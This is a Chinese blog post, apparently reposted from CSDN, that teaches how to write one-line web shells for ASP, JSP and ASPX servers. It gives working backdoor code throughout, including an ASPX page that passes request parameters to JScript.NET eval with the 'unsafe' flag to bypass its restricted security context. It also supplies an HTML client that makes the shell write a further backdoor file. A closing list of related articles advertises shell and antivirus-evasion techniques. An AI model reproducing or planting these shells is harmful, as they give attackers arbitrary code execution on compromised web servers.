首先回顾一下以前ASP一句话的经典木马吧!

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!.....

然后解析语言终究发展成为中间代码例如java .net  动态执行也就不存在了!

之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

如今ASPX中 所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....

同时Jscript 也一样转向高级版本Jscript.net  但是我们需要的eval函数还是生存下来的!script child有幸了...

先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话

JSP :<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%> 这个是我自己写的 要弹要说,都是大家的 呵呵!我不发言.....

ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....

两个一句话大体都一样 调用类把 接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP一句话的光辉 如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有Jscript.net的存在!上面所说到的eval函数还生存着!~
OK我们先来实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>
这样?恩!可以拿去尝试了~ 保存为 text.aspx 然后提交
http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();
打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007
貌似OK了哦! 呵呵 我们再试
http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");
发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下  闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)
错误原因
{
安全性异常 
说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。 
异常详细信息: System.Security.SecurityException: 请求失败。
}
为什么会这样呢?OK我们找到 MS文档

往下面看

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp

JScript .NET     
JScript .NET 的新增功能
JScript .NET 是下一代的 Microsoft JScript 语言,它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。

JScript .NET 与 ECMAScript 标准兼容,而且它还具有 ECMAScript 未指定的其他功能,例如,真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持,以及对 .NET Framework 的访问。Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性,而 JScript .NET 2003 为 eval 方法添加了受限安全上下文,从而进一步增强了安全性。

在 JScript .NET 中的几种新功能旨在充分利用 CLS,这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。作为 JScript 开发人员,您可以从其他符合 CLS 的编程语言访问类、组件和对象,而无需考虑语言特定的差异(比如数据类型)。JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。

下面是 JScript .NET 中的一些新功能:

JScript .NET 2003 的新增功能
eval 方法的受限安全上下文
现在,为了增强安全性,不管调用方的权限是什么,内置的 eval 方法都默认下在受限安全上下文中运行脚本。调用 eval 时如果将“unsafe”作为第二个可选参数,会导致脚本使用调用方的权限运行,这样就会允许访问文件系统、网络或用户界面。有关更多信息,请参见 eval 方法。
JScript .NET 2002 的新增功能
基于类的对象
JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。JScript .NET 还允许声明定义对象数据和行为的类,从而支持基于类的对象。在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。类可以继承基类的属性和方法。可以对类和类成员应用几种属性,修改它们的行为和可见性。有关更多信息,请参见基于类的对象。
JScript 数据类型
在 JScript .NET 中(像 JScript 一样),可以在编写程序时不指定变量的数据类型。JScript .NET 也可用作一种强类型化语言,其中所有变量都绑定到特定数据类型,或者您还可以混合使用类型化和非类型化变量。JScript .NET 提供了许多新的数据类型。还可以将类和 .NET 类型用作数据类型。有关更多信息,请参见 JScript 数据类型。
条件编译
指令可控制 JScript .NET 程序的编译。例如,@debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。有关更多信息,请参见 @debug 指令。@position 指令为调试器设置当前行的行号。有关更多信息,请参见 @position 指令。如果正在编写将合并到其他脚本中的代码,那么这两个指令都是有用的。有关更多信息,请参见条件编译。
JScript 命名空间
命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。在 JScript .NET 中,您可以定义自己的命名空间。还可以使用 JScript .NET 访问任何 .NET Framework 命名空间,包括自己定义的那些命名空间。包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。有关更多信息,请参见 package 语句。导入语句使得 .NET Framework 命名空间可用于某个脚本,这样该脚本就能访问命名空间中的类和接口。有关更多信息,请参见 import 语句。
JScript 变量和常数
JScript .NET 引入了一个 Const 语句,用来定义表示常数值的标识符。有关更多信息,请参见 JScript 变量和常数。
枚举
JScript .NET 引入了 Enum 语句,允许构造枚举数据类型。利用枚举,可以为您的数据类型值指定有用的名称。有关更多信息,请参见 enum 语句。
再来找到 eval方法

http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp

JScript .NET     
eval 方法
计算 JScript 代码并执行。

function eval(codeString : String [, override : String])
参数
codeString
必选。包含有效 JScript 代码的字符串。
override
可选。确定要应用于 codeString 中代码的安全权限的字符串。
备注
eval 函数允许动态执行 JScript 源代码。

传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。

除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。

当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。

安全说明   在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。

原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
OK
提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")
打印出 F:/nonamed/DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~  -_-
Response.Write可以不要!不过我为了回显 所以加上去了 :) 
OK 以下我们构造出 一句话的客户端吧!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post> 
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea> 
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br> 
<input type=submit value=提交> 
</BODY>
</HTML>

全文完.....
--------------------- 
作者:kj021320 
来源:CSDN 
原文:https://blog.csdn.net/kj021320/article/details/1726442 
版权声明:本文为博主原创文章,转载请附上博文链接!

ASPX一句话木马详细分析相关推荐

  1. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家--凉风 引用 ...

  2. 利用动态二进制加密实现新型一句话木马之.NET篇(转)冰蝎

    概述 本系列文章重写了java..net.php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具.从而一劳永逸的绕过WAF或者其他网络防火墙的检测.当然,截止 ...

  3. php一句话怎么写_PHP一句话木马后门

    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器. 一句话木马的原理很简单,造型也很简单 ...

  4. 一句话木马原理与实战

    一句话木马原理与实战 介绍 常用一句话木马 分析一句话木马 一句话使用方法 实战 介绍 一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终有强大的作用. 常用一句话木马 php一句话木马: ...

  5. DVWA-文件上传全等级绕过(一句话木马+中国菜刀+蚁剑)

    DVWA文件上传 前言 一.low级别 1.1 一句话木马 1.2 中国菜刀使用 1.3 蚁剑 二.Medium级别 三.High级别 四.Impossible级别 前言 文件上传漏洞是对于上传文件的 ...

  6. php7 一句话木马,PHP一句话木马后门

    在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器. 一句话木马的原理很简单,造型也很简单 ...

  7. 一句话木马、中国菜刀、图片一句话制作、过狗一句话

    一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用. 常用一句话木马 asp一句话木马: <%execute(request("value"))%& ...

  8. web安全的一句话木马

    一.WEBshell Webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与 ...

  9. SQL注入上传一句话木马

    利用sql注入上传一句话木马 导读 1. sql注入的危害 2. 文件写入 2.1 webshell.一句话木马.后门 webshell(大马) 一句话木马 木马文件的危害 2.2 文件写入的前提条件 ...

最新文章

  1. 利用jsoncpp将json字符串转换为Vector
  2. QT的QGraphicsItem类的使用
  3. jQuery deferred应用dom加载完毕详细源码分析(三)
  4. 图像处理——图像变换
  5. php 按key大小排序,PHP实现二维数组根据key进行排序的方法
  6. struts2——快速入门
  7. 2022美国大学生数学建模竞赛(美赛)思路代码
  8. 深度学习基础知识题库大全
  9. Android 拦截Home键的常用方法
  10. mysql dump 1449_mysqldump1449错误解决办法
  11. workman 日志_workerman
  12. 粗粒度与细粒度的解释
  13. 通信算法之九十七:4G LTE通信系统 PHICH信道处理流程
  14. ARCGIS对谷歌影像进行投影转换、影像拉伸纠偏处理及倾斜摄影纠偏
  15. Android获取设备各项信息(设备id、ip地址、设备名称、运行商、品牌、型号、分辨率、处理器、国家码、系统语言、网络类型、oaid、android版本、操作系统版本、mac地址、应用程序签名..)
  16. 通信原理及系统系列29——基于Matlab自动增益控制(AGC)算法分析1
  17. 找个程序员做老公,最靠谱!
  18. 使用Grunt和GulpJavaScript工作流自动化
  19. 在ASP.NET CORE 运行后台任务:基于IHostedService的托管服务
  20. 无线系统(EEEN3006J-Wireless Systems)复习笔记 (3)

热门文章

  1. QPushButton 实现保持按下效果(转载​​)
  2. 拉伯杠杆平台|沪指上涨,大金融板块领涨,有股票连续5涨停!
  3. Java如何找出数组中前k个高频元素
  4. adjacency list(邻接表)神物
  5. w7计算机防火墙无法更改,win7系统提示防火墙无法更改某些设置错误代码0x8007437的原因及四种解决方法...
  6. win7防火墙开启ping
  7. 漏洞风险评估:CVSS介绍及计算
  8. 磁力搜索网站+下载神器放送2019-03-05
  9. python3*1**3 表达式输出结果为_22 % 3 表达式输出结果为________
  10. 微信公众号代运营的的技巧有哪些(1)